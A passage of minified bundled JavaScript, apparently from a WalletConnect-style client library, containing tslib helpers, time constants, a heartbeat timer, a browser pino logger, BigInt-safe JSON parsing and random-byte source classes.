7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}}function nt(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}function rt(e,t){for(var n in e)"default"!==n&&!t.hasOwnProperty(n)&&(t[n]=e[n])}function it(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function ot(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function st(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(ot(arguments[t]));return e}function at(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}function ut(e){return this instanceof ut?(this.v=e,this):new ut(e)}function ct(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{u(i[e](t))}catch(e){f(o[0][3],e)}}function u(e){e.value instanceof ut?Promise.resolve(e.value.v).then(c,l):f(o[0][2],e)}function c(e){a("next",e)}function l(e){a("throw",e)}function f(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}}function lt(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:ut(e[r](t)),done:"return"===r}:i?i(t):t}:i}}function ft(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e="function"==typeof it?it(e):e[Symbol.iterator](),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,o){i(r,o,(t=e[n](t)).done,t.value)}))}}function i(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)}}function ht(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function dt(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function pt(e){return e&&e.__esModule?e:{default:e}}function gt(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function yt(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}var vt,mt=r(Object.freeze({__proto__:null,__extends:Ge,get __assign(){return Ye},__rest:Qe,__decorate:Je,__param:Xe,__metadata:Ze,__awaiter:et,__generator:tt,__createBinding:nt,__exportStar:rt,__values:it,__read:ot,__spread:st,__spreadArrays:at,__await:ut,__asyncGenerator:ct,__asyncDelegator:lt,__asyncValues:ft,__makeTemplateObject:ht,__importStar:dt,__importDefault:pt,__classPrivateFieldGet:gt,__classPrivateFieldSet:yt})),_t={},bt={};function wt(){if(vt)return bt;function e(e){return new Promise((t=>{setTimeout((()=>{t(!0)}),e)}))}return vt=1,Object.defineProperty(bt,"__esModule",{value:!0}),bt.delay=void 0,bt.delay=e,bt}var Et,St={},Ot={},xt={};function It(){return Et||(Et=1,Object.defineProperty(xt,"__esModule",{value:!0}),xt.ONE_THOUSAND=xt.ONE_HUNDRED=void 0,xt.ONE_HUNDRED=100,xt.ONE_THOUSAND=1e3),xt}var Rt,kt,Ct,Pt,At={};function Nt(){return Rt||(Rt=1,e=At,Object.defineProperty(e,"__esModule",{value:!0}),e.ONE_YEAR=e.FOUR_WEEKS=e.THREE_WEEKS=e.TWO_WEEKS=e.ONE_WEEK=e.THIRTY_DAYS=e.SEVEN_DAYS=e.FIVE_DAYS=e.THREE_DAYS=e.ONE_DAY=e.TWENTY_FOUR_HOURS=e.TWELVE_HOURS=e.SIX_HOURS=e.THREE_HOURS=e.ONE_HOUR=e.SIXTY_MINUTES=e.THIRTY_MINUTES=e.TEN_MINUTES=e.FIVE_MINUTES=e.ONE_MINUTE=e.SIXTY_SECONDS=e.THIRTY_SECONDS=e.TEN_SECONDS=e.FIVE_SECONDS=e.ONE_SECOND=void 0,e.ONE_SECOND=1,e.FIVE_SECONDS=5,e.TEN_SECONDS=10,e.THIRTY_SECONDS=30,e.SIXTY_SECONDS=60,e.ONE_MINUTE=e.SIXTY_SECONDS,e.FIVE_MINUTES=5*e.ONE_MINUTE,e.TEN_MINUTES=10*e.ONE_MINUTE,e.THIRTY_MINUTES=30*e.ONE_MINUTE,e.SIXTY_MINUTES=60*e.ONE_MINUTE,e.ONE_HOUR=e.SIXTY_MINUTES,e.THREE_HOURS=3*e.ONE_HOUR,e.SIX_HOURS=6*e.ONE_HOUR,e.TWELVE_HOURS=12*e.ONE_HOUR,e.TWENTY_FOUR_HOURS=24*e.ONE_HOUR,e.ONE_DAY=e.TWENTY_FOUR_HOURS,e.THREE_DAYS=3*e.ONE_DAY,e.FIVE_DAYS=5*e.ONE_DAY,e.SEVEN_DAYS=7*e.ONE_DAY,e.THIRTY_DAYS=30*e.ONE_DAY,e.ONE_WEEK=e.SEVEN_DAYS,e.TWO_WEEKS=2*e.ONE_WEEK,e.THREE_WEEKS=3*e.ONE_WEEK,e.FOUR_WEEKS=4*e.ONE_WEEK,e.ONE_YEAR=365*e.ONE_DAY),At;var e}function Tt(){return kt||(kt=1,function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=mt;t.__exportStar(It(),e),t.__exportStar(Nt(),e)}(Ot)),Ot}function Mt(){if(Ct)return St;Ct=1,Object.defineProperty(St,"__esModule",{value:!0}),St.fromMiliseconds=St.toMiliseconds=void 0;const e=Tt();function t(t){return t*e.ONE_THOUSAND}function n(t){return Math.floor(t/e.ONE_THOUSAND)}return St.toMiliseconds=t,St.fromMiliseconds=n,St}function Lt(){return Pt||(Pt=1,function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=mt;t.__exportStar(wt(),e),t.__exportStar(Mt(),e)}(_t)),_t}var jt,Ut={};function Dt(){if(jt)return Ut;jt=1,Object.defineProperty(Ut,"__esModule",{value:!0}),Ut.Watch=void 0;class e{constructor(){this.timestamps=new Map}start(e){if(this.timestamps.has(e))throw new Error(`Watch already started for label: ${e}`);this.timestamps.set(e,{started:Date.now()})}stop(e){const t=this.get(e);if(typeof t.elapsed<"u")throw new Error(`Watch already stopped for label: ${e}`);const n=Date.now()-t.started;this.timestamps.set(e,{started:t.started,elapsed:n})}get(e){const t=this.timestamps.get(e);if(typeof t>"u")throw new Error(`No timestamp found for label: ${e}`);return t}elapsed(e){const t=this.get(e);return t.elapsed||Date.now()-t.started}}return Ut.Watch=e,Ut.default=e,Ut}var zt,Ft,Bt={},Ht={};function qt(){if(zt)return Ht;zt=1,Object.defineProperty(Ht,"__esModule",{value:!0}),Ht.IWatch=void 0;class e{}return Ht.IWatch=e,Ht}function Vt(){return Ft||(Ft=1,e=Bt,Object.defineProperty(e,"__esModule",{value:!0}),mt.__exportStar(qt(),e)),Bt;var e}!function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=mt;t.__exportStar(Lt(),e),t.__exportStar(Dt(),e),t.__exportStar(Vt(),e),t.__exportStar(Tt(),e)}(We);var $t={},Wt={};class Kt{}var Gt,Yt,Qt=r(Object.freeze({__proto__:null,IEvents:Kt}));function Jt(){if(Gt)return Wt;Gt=1,Object.defineProperty(Wt,"__esModule",{value:!0}),Wt.IHeartBeat=void 0;const e=Qt;class t extends e.IEvents{constructor(e){super()}}return Wt.IHeartBeat=t,Wt}function Xt(){return Yt||(Yt=1,e=$t,Object.defineProperty(e,"__esModule",{value:!0}),Ve.__exportStar(Jt(),e)),$t;var e}var Zt,en,tn,nn={},rn={};function on(){if(Zt)return rn;Zt=1,Object.defineProperty(rn,"__esModule",{value:!0}),rn.HEARTBEAT_EVENTS=rn.HEARTBEAT_INTERVAL=void 0;const e=We;return rn.HEARTBEAT_INTERVAL=e.FIVE_SECONDS,rn.HEARTBEAT_EVENTS={pulse:"heartbeat_pulse"},rn}function sn(){return en||(en=1,e=nn,Object.defineProperty(e,"__esModule",{value:!0}),Ve.__exportStar(on(),e)),nn;var e}function an(){if(tn)return $e;tn=1,Object.defineProperty($e,"__esModule",{value:!0}),$e.HeartBeat=void 0;const e=Ve,t=o.exports,n=We,r=Xt(),i=sn();class s extends r.IHeartBeat{constructor(e){super(e),this.events=new t.EventEmitter,this.interval=i.HEARTBEAT_INTERVAL,this.interval=e?.interval||i.HEARTBEAT_INTERVAL}static init(t){return e.__awaiter(this,void 0,void 0,(function*(){const e=new s(t);return yield e.init(),e}))}init(){return e.__awaiter(this,void 0,void 0,(function*(){yield this.initialize()}))}stop(){clearInterval(this.intervalRef)}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}initialize(){return e.__awaiter(this,void 0,void 0,(function*(){this.intervalRef=setInterval((()=>this.pulse()),n.toMiliseconds(this.interval))}))}pulse(){this.events.emit(i.HEARTBEAT_EVENTS.pulse)}}return $e.HeartBeat=s,$e}!function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=Ve;t.__exportStar(an(),e),t.__exportStar(Xt(),e),t.__exportStar(sn(),e)}(_e);var un={},cn=function(e,t){return cn=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},cn(e,t)};
294
- /*! *****************************************************************************
295
- Copyright (c) Microsoft Corporation.
296
-
297
- Permission to use, copy, modify, and/or distribute this software for any
298
- purpose with or without fee is hereby granted.
299
-
300
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
301
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
302
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
303
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
304
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
305
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
306
- PERFORMANCE OF THIS SOFTWARE.
307
- ***************************************************************************** */function ln(e,t){function n(){this.constructor=e}cn(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var fn=function(){return fn=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},fn.apply(this,arguments)};function hn(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}function dn(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s}function pn(e,t){return function(n,r){t(n,r,e)}}function gn(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function yn(e,t,n,r){function i(e){return e instanceof n?e:new n((function(t){t(e)}))}return new(n||(n=Promise))((function(n,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){e.done?n(e.value):i(e.value).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function vn(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(e){return function(t){return u([e,t])}}function u(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}}function mn(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}function _n(e,t){for(var n in e)"default"!==n&&!t.hasOwnProperty(n)&&(t[n]=e[n])}function bn(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function wn(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function En(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(wn(arguments[t]));return e}function Sn(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}function On(e){return this instanceof On?(this.v=e,this):new On(e)}function xn(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{u(i[e](t))}catch(e){f(o[0][3],e)}}function u(e){e.value instanceof On?Promise.resolve(e.value.v).then(c,l):f(o[0][2],e)}function c(e){a("next",e)}function l(e){a("throw",e)}function f(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}}function In(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:On(e[r](t)),done:"return"===r}:i?i(t):t}:i}}function Rn(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e="function"==typeof bn?bn(e):e[Symbol.iterator](),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,o){i(r,o,(t=e[n](t)).done,t.value)}))}}function i(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)}}function kn(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function Cn(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function Pn(e){return e&&e.__esModule?e:{default:e}}function An(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function Nn(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}var Tn,Mn,Ln,jn,Un=r(Object.freeze({__proto__:null,__extends:ln,get __assign(){return fn},__rest:hn,__decorate:dn,__param:pn,__metadata:gn,__awaiter:yn,__generator:vn,__createBinding:mn,__exportStar:_n,__values:bn,__read:wn,__spread:En,__spreadArrays:Sn,__await:On,__asyncGenerator:xn,__asyncDelegator:In,__asyncValues:Rn,__makeTemplateObject:kn,__importStar:Cn,__importDefault:Pn,__classPrivateFieldGet:An,__classPrivateFieldSet:Nn}));function Dn(){if(Mn)return Tn;function e(e){try{return JSON.stringify(e)}catch{return'"[Circular]"'}}function t(t,n,r){var i=r&&r.stringify||e,o=1;if("object"==typeof t&&null!==t){var s=n.length+o;if(1===s)return t;var a=new Array(s);a[0]=i(t);for(var u=1;u<s;u++)a[u]=i(n[u]);return a.join(" ")}if("string"!=typeof t)return t;var c=n.length;if(0===c)return t;for(var l="",f=1-o,h=-1,d=t&&t.length||0,p=0;p<d;){if(37===t.charCodeAt(p)&&p+1<d){switch(h=h>-1?h:0,t.charCodeAt(p+1)){case 100:case 102:if(f>=c||null==n[f])break;h<p&&(l+=t.slice(h,p)),l+=Number(n[f]),h=p+2,p++;break;case 105:if(f>=c||null==n[f])break;h<p&&(l+=t.slice(h,p)),l+=Math.floor(Number(n[f])),h=p+2,p++;break;case 79:case 111:case 106:if(f>=c||void 0===n[f])break;h<p&&(l+=t.slice(h,p));var g=typeof n[f];if("string"===g){l+="'"+n[f]+"'",h=p+2,p++;break}if("function"===g){l+=n[f].name||"<anonymous>",h=p+2,p++;break}l+=i(n[f]),h=p+2,p++;break;case 115:if(f>=c)break;h<p&&(l+=t.slice(h,p)),l+=String(n[f]),h=p+2,p++;break;case 37:h<p&&(l+=t.slice(h,p)),l+="%",h=p+2,p++,f--}++f}++p}return-1===h?t:(h<d&&(l+=t.slice(h)),l)}return Mn=1,Tn=t}function zn(){if(jn)return Ln;jn=1;const e=Dn();Ln=i;const t=w().console||{},n={mapHttpRequest:p,mapHttpResponse:p,wrapRequestSerializer:g,wrapResponseSerializer:g,wrapErrorSerializer:g,req:p,res:p,err:h};function r(e,t){return Array.isArray(e)?e.filter((function(e){return"!stdSerializers.err"!==e})):!0===e&&Object.keys(t)}function i(e){(e=e||{}).browser=e.browser||{};const n=e.browser.transmit;if(n&&"function"!=typeof n.send)throw Error("pino: transmit option must have a send function");const s=e.browser.write||t;e.browser.write&&(e.browser.asObject=!0);const a=e.serializers||{},l=r(e.browser.serialize,a);let h=e.browser.serialize;Array.isArray(e.browser.serialize)&&e.browser.serialize.indexOf("!stdSerializers.err")>-1&&(h=!1);const p=["error","fatal","warn","info","debug","trace"];"function"==typeof s&&(s.error=s.fatal=s.warn=s.info=s.debug=s.trace=s),!1===e.enabled&&(e.level="silent");const g=e.level||"info",v=Object.create(s);v.log||(v.log=y),Object.defineProperty(v,"levelVal",{get:_}),Object.defineProperty(v,"level",{get:b,set:w});const m={transmit:n,serialize:l,asObject:e.browser.asObject,levels:p,timestamp:d(e)};function _(){return"silent"===this.level?1/0:this.levels.values[this.level]}function b(){return this._level}function w(e){if("silent"!==e&&!this.levels.values[e])throw Error("unknown level "+e);this._level=e,o(m,v,"error","log"),o(m,v,"fatal","error"),o(m,v,"warn","error"),o(m,v,"info","log"),o(m,v,"debug","log"),o(m,v,"trace","log")}function E(t,r){if(!t)throw new Error("missing bindings for child Pino");r=r||{},l&&t.serializers&&(r.serializers=t.serializers);const i=r.serializers;if(l&&i){var o=Object.assign({},a,i),s=!0===e.browser.serialize?Object.keys(o):l;delete t.serializers,u([t],s,o,this._stdErrSerialize)}function h(e){this._childLevel=1+(0|e._childLevel),this.error=c(e,t,"error"),this.fatal=c(e,t,"fatal"),this.warn=c(e,t,"warn"),this.info=c(e,t,"info"),this.debug=c(e,t,"debug"),this.trace=c(e,t,"trace"),o&&(this.serializers=o,this._serialize=s),n&&(this._logEvent=f([].concat(e._logEvent.bindings,t)))}return h.prototype=this,new h(this)}return v.levels=i.levels,v.level=g,v.setMaxListeners=v.getMaxListeners=v.emit=v.addListener=v.on=v.prependListener=v.once=v.prependOnceListener=v.removeListener=v.removeAllListeners=v.listeners=v.listenerCount=v.eventNames=v.write=v.flush=y,v.serializers=a,v._serialize=l,v._stdErrSerialize=h,v.child=E,n&&(v._logEvent=f()),v}function o(e,n,r,i){const o=Object.getPrototypeOf(n);n[r]=n.levelVal>n.levels.values[r]?y:o[r]?o[r]:t[r]||t[i]||y,s(e,n,r)}function s(e,n,r){!e.transmit&&n[r]===y||(n[r]=function(o){return function(){const s=e.timestamp(),c=new Array(arguments.length),f=Object.getPrototypeOf&&Object.getPrototypeOf(this)===t?t:this;for(var h=0;h<c.length;h++)c[h]=arguments[h];if(e.serialize&&!e.asObject&&u(c,this._serialize,this.serializers,this._stdErrSerialize),e.asObject?o.call(f,a(this,r,c,s)):o.apply(f,c),e.transmit){const t=e.transmit.level||n.level,o=i.levels.values[t],a=i.levels.values[r];if(a<o)return;l(this,{ts:s,methodLevel:r,methodValue:a,transmitLevel:t,transmitValue:i.levels.values[e.transmit.level||n.level],send:e.transmit.send,val:n.levelVal},c)}}}(n[r]))}function a(t,n,r,o){t._serialize&&u(r,t._serialize,t.serializers,t._stdErrSerialize);const s=r.slice();let a=s[0];const c={};o&&(c.time=o),c.level=i.levels.values[n];let l=1+(0|t._childLevel);if(l<1&&(l=1),null!==a&&"object"==typeof a){for(;l--&&"object"==typeof s[0];)Object.assign(c,s.shift());a=s.length?e(s.shift(),s):void 0}else"string"==typeof a&&(a=e(s.shift(),s));return void 0!==a&&(c.msg=a),c}function u(e,t,n,r){for(const o in e)if(r&&e[o]instanceof Error)e[o]=i.stdSerializers.err(e[o]);else if("object"==typeof e[o]&&!Array.isArray(e[o]))for(const r in e[o])t&&t.indexOf(r)>-1&&r in n&&(e[o][r]=n[r](e[o][r]))}function c(e,t,n){return function(){const r=new Array(1+arguments.length);r[0]=t;for(var i=1;i<r.length;i++)r[i]=arguments[i-1];return e[n].apply(this,r)}}function l(e,t,n){const r=t.send,i=t.ts,o=t.methodLevel,s=t.methodValue,a=t.val,c=e._logEvent.bindings;u(n,e._serialize||Object.keys(e.serializers),e.serializers,void 0===e._stdErrSerialize||e._stdErrSerialize),e._logEvent.ts=i,e._logEvent.messages=n.filter((function(e){return-1===c.indexOf(e)})),e._logEvent.level.label=o,e._logEvent.level.value=s,r(o,e._logEvent,a),e._logEvent=f(c)}function f(e){return{ts:0,messages:[],bindings:e||[],level:{label:"",value:0}}}function h(e){const t={type:e.constructor.name,msg:e.message,stack:e.stack};for(const n in e)void 0===t[n]&&(t[n]=e[n]);return t}function d(e){return"function"==typeof e.timestamp?e.timestamp:!1===e.timestamp?v:m}function p(){return{}}function g(e){return e}function y(){}function v(){return!1}function m(){return Date.now()}function _(){return Math.round(Date.now()/1e3)}function b(){return new Date(Date.now()).toISOString()}function w(){function e(e){return typeof e<"u"&&e}try{return typeof globalThis<"u"||Object.defineProperty(Object.prototype,"globalThis",{get:function(){return delete Object.prototype.globalThis,this.globalThis=this},configurable:!0}),globalThis}catch{return e(self)||e(window)||e(this)||{}}}return i.levels={values:{fatal:60,error:50,warn:40,info:30,debug:20,trace:10},labels:{10:"trace",20:"debug",30:"info",40:"warn",50:"error",60:"fatal"}},i.stdSerializers=n,i.stdTimeFunctions=Object.assign({},{nullTime:v,epochTime:m,unixTime:_,isoTime:b}),Ln}var Fn,Bn={};function Hn(){return Fn||(Fn=1,Object.defineProperty(Bn,"__esModule",{value:!0}),Bn.PINO_CUSTOM_CONTEXT_KEY=Bn.PINO_LOGGER_DEFAULTS=void 0,Bn.PINO_LOGGER_DEFAULTS={level:"info"},Bn.PINO_CUSTOM_CONTEXT_KEY="custom_context"),Bn}var qn,Vn={};function $n(){if(qn)return Vn;qn=1,Object.defineProperty(Vn,"__esModule",{value:!0}),Vn.generateChildLogger=Vn.formatChildLoggerContext=Vn.getLoggerContext=Vn.setBrowserLoggerContext=Vn.getBrowserLoggerContext=Vn.getDefaultLoggerOptions=void 0;const e=Hn();function t(t){return Object.assign(Object.assign({},t),{level:t?.level||e.PINO_LOGGER_DEFAULTS.level})}function n(t,n=e.PINO_CUSTOM_CONTEXT_KEY){return t[n]||""}function r(t,n,r=e.PINO_CUSTOM_CONTEXT_KEY){return t[r]=n,t}function i(t,r=e.PINO_CUSTOM_CONTEXT_KEY){let i="";return i=typeof t.bindings>"u"?n(t,r):t.bindings().context||"",i}function o(t,n,r=e.PINO_CUSTOM_CONTEXT_KEY){const o=i(t,r);return o.trim()?`${o}/${n}`:n}function s(t,n,i=e.PINO_CUSTOM_CONTEXT_KEY){const s=o(t,n,i);return r(t.child({context:s}),s,i)}return Vn.getDefaultLoggerOptions=t,Vn.getBrowserLoggerContext=n,Vn.setBrowserLoggerContext=r,Vn.getLoggerContext=i,Vn.formatChildLoggerContext=o,Vn.generateChildLogger=s,Vn}!function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.pino=void 0;const t=Un,n=t.__importDefault(zn());Object.defineProperty(e,"pino",{enumerable:!0,get:function(){return n.default}}),t.__exportStar(Hn(),e),t.__exportStar($n(),e)}(un);class Wn extends Kt{constructor(e){super(),this.opts=e,this.protocol="wc",this.version=2}}class Kn extends Kt{constructor(e,t){super(),this.core=e,this.logger=t,this.records=new Map}}class Gn{constructor(e,t){this.logger=e,this.core=t}}class Yn extends Kt{constructor(e,t){super(),this.relayer=e,this.logger=t}}class Qn extends Kt{constructor(e){super()}}class Jn{constructor(e,t,n,r){this.core=e,this.logger=t,this.name=n}}class Xn extends Kt{constructor(e,t){super(),this.relayer=e,this.logger=t}}class Zn extends Kt{constructor(e,t){super(),this.core=e,this.logger=t}}class er{constructor(e,t){this.projectId=e,this.logger=t}}class tr{constructor(e){this.opts=e,this.protocol="wc",this.version=2}}class nr{constructor(e){this.client=e}}const rr=e=>JSON.stringify(e,((e,t)=>"bigint"==typeof t?t.toString()+"n":t)),ir=e=>{const t=/([\[:])?(\d{17,}|(?:[9](?:[1-9]07199254740991|0[1-9]7199254740991|00[8-9]199254740991|007[2-9]99254740991|007199[3-9]54740991|0071992[6-9]4740991|00719925[5-9]740991|007199254[8-9]40991|0071992547[5-9]0991|00719925474[1-9]991|00719925474099[2-9])))([,\}\]])/g,n=e.replace(t,'$1"$2n"$3');return JSON.parse(n,((e,t)=>"string"==typeof t&&t.match(/^\d+n$/)?BigInt(t.substring(0,t.length-1)):t))};function or(e){if("string"!=typeof e)throw new Error("Cannot safe json parse value of type "+typeof e);try{return ir(e)}catch{return e}}function sr(e){return"string"==typeof e?e:rr(e)||""}var ar={},ur={},cr={},lr={};Object.defineProperty(lr,"__esModule",{value:!0}),lr.BrowserRandomSource=void 0;const fr=65536;class hr{constructor(){this.isAvailable=!1,this.isInstantiated=!1;const e=typeof self<"u"?self.crypto||self.msCrypto:null;e&&void 0!==e.getRandomValues&&(this._crypto=e,this.isAvailable=!0,this.isInstantiated=!0)}randomBytes(e){if(!this.isAvailable||!this._crypto)throw new Error("Browser random byte generator is not available.");const t=new Uint8Array(e);for(let e=0;e<t.length;e+=fr)this._crypto.getRandomValues(t.subarray(e,e+Math.min(t.length-e,fr)));return t}}function dr(e){throw new Error('Could not dynamically require "'+e+'". Please configure the dynamicRequireTargets or/and ignoreDynamicRequires option of @rollup/plugin-commonjs appropriately for this require call to work.')}lr.BrowserRandomSource=hr;var pr={},gr={};function yr(e){for(var t=0;t<e.length;t++)e[t]=0;return e}Object.defineProperty(gr,"__esModule",{value:!0}),gr.wipe=yr;var vr={},mr=r(Object.freeze({__proto__:null,default:vr}));Object.defineProperty(pr,"__esModule",{value:!0}),pr.NodeRandomSource=void 0;const _r=gr;class br{constructor(){if(this.isAvailable=!1,this.isInstantiated=!1,typeof dr<"u"){const e=mr;e&&e.randomBytes&&(this._crypto=e,this.isAvailable=!0,this.isInstantiated=!0)}}randomBytes(e){if(!this.isAvailable||!this._crypto)throw new Error("Node.js random byte generator is not available.");let t=this._crypto.randomBytes(e);if(t.length!==e)throw new Error("NodeRandomSource: got fewer bytes than requested");const n=new Uint8Array(e);for(let e=0;e<n.length;e++)n[e]=t[e];return(0,_r.wipe)(t),n}}pr.NodeRandomSource=br,Object.defineProperty(cr,"__esModule",{value:!0}),cr.SystemRandomSource=void 0;const wr=lr,Er=pr;class Sr{constructor(){return this.isAvailable=!1,this.name="",this._source=new 